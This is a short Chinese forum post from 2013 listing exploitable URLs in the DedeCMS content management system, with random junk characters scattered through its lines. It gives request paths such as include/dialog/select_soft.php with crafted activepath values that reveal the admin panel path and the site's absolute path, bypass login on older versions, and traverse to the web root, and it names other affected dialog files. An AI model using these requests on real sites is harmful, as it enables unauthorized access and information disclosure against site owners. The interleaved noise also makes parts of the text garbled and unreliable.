1.include/dialog/select_soft.php文件可以爆出DEDECMS的后台,以前的老板本可以跳过登陆验证直接访问,无需管理5 q) x9 r L) k. H. u
$ |5 i% e' Z! E _, Y+ `
员帐号,新版本的就直接转向了后台.
' u6 k! E$ \# y/ ~: |( [
4 _ Z+ S k6 k) s$ n) |' J3 t2 W- F2 ~2.include/dialog/config.php会爆出后台管理路径
7 i- b6 x' p5 G+ A$ V& J3 }, ^$ g9 B. B9 Z# W2 t- \$ r4 z! F6 E
3.include/dialog/select_soft.php?activepath=/include/FCKeditor 跳转目录
6 v6 C& x, Z* y. V8 g
; l: L* \0 G8 n) Z3 C K4.include/dialog/select_soft.php?activepath=/st0pst0pst0pst0pst0pst0pst0pst0p 爆出网站绝对路径." X# i# [" D4 N
4 M) n& s- I' U! K& W
5.另外一些低版本的DEDECMS访问这个页面的时候会直接跳过登陆验证,直接显示,而且还可以用/././././././././掉
& l/ l$ r N7 R! H4 N5 H2 v" }% t6 ]
到根目录去.不过这些版本的访问地址有些不同.
( T( u- w1 B1 c. C" D地址为require/dialog/select_soft.php?activepath=/././././././././
2 u, h' a# T2 U) j2 E. B
$ m4 A: R9 M: \; \. Qinclude\dialog\目录下的另外几个文件都存在同一个问题,只是默认设的目录不同.有些可以查看HTML这些文件哦..4 L. }" _' J1 r
存在相同问题的文件还有! Z. X6 M- h, l) d% D6 i" C
include\dialog\select_images.php2 G2 ]+ U1 J+ b: E0 l
include\dialog\select_media.php& P2 b3 E3 L7 Q% U r
include\dialog\select_templets.php
, N/ A( u2 a0 q6 u: d6 O |
发表于 2013-4-16 16:50:43
收藏
支持
反对